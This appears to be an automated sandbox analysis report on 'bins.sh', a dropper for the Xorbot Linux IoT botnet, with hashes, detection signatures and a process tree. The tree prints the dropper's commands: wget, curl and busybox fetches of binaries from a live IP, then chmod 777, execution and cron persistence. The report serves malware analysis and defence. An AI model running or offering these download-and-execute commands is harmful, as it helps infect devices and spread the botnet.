Analysis
-
max time kernel
149s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
-
submitted
03-12-2024 04:06
General
-
Target
bins.sh
-
Size
10KB
-
MD5
5d0971a556970c74f4cd658bf101cfcd
-
SHA1
4036ead2200bc75e663115eb6c13de4ef4358d7c
-
SHA256
5600c839915dc7187cbc973ed14150314c61c0ba5573a7f94953d36eb77c6023
-
SHA512
03b31e792454caa5dd8d9ec76839878907ca7e4e74b0e4fb698fbb81001fa8eb0033066ef8e69b1947206eebc4f08b24941d63e490118f15aa878d967c32ada0
-
SSDEEP
96:2+qgBhG8gJdV+wRAJnh0nuncdV+wrRhqrh0nTmaW+qgBhwN8WJ:C8gJj+wRAZ6t+wV5Vi
Malware Config
Signatures
-
Detects Xorbot 2 IoCs
-
Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
-
Xorbot family
-
File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 2 IoCs
-
Renames itself 1 IoCs
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
-
/bin/rm/bin/rm bins.sh2⤵
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo92⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo92⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo92⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo92⤵
- File and Directory Permissions Modification
-
-
/tmp/Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo9./Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo92⤵
- Executes dropped EXE
-
-
/bin/rmrm Q4n9HTLV5DaYaBmo8pphyoSjOC846ZGSo92⤵
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 CPSxNyZESCdOiZphszjlvWixN54zWtxaBb2⤵
- File and Directory Permissions Modification
-
-
/tmp/CPSxNyZESCdOiZphszjlvWixN54zWtxaBb./CPSxNyZESCdOiZphszjlvWixN54zWtxaBb2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
-
/bin/shsh -c "crontab -l"3⤵
-
/usr/bin/crontabcrontab -l4⤵
-
-
-
/bin/shsh -c "crontab -"3⤵
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
-
-
/bin/rmrm CPSxNyZESCdOiZphszjlvWixN54zWtxaBb2⤵
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/X71FbOa72Chz3JKgMoQ96OKKg2LTuncCyr2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
-
Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
-
Filesize
210B
MD58ffa41a4826fc18223e701ca1d506213
SHA18822a2d6ba546381add7d7145b00e53fff4df2de
SHA256346d6577ca9d80548010c0f14790424a7ee1d412883cfda3d6bc2b4ef1134508
SHA51211a3378d82d2b9f94c66ed5ecae83767290ea0e0fc1e082e1adaaab5f3539ef49bbc1693d0d0d90607133ef62a45c9e8840a47c118d579a49a93915412fd08ec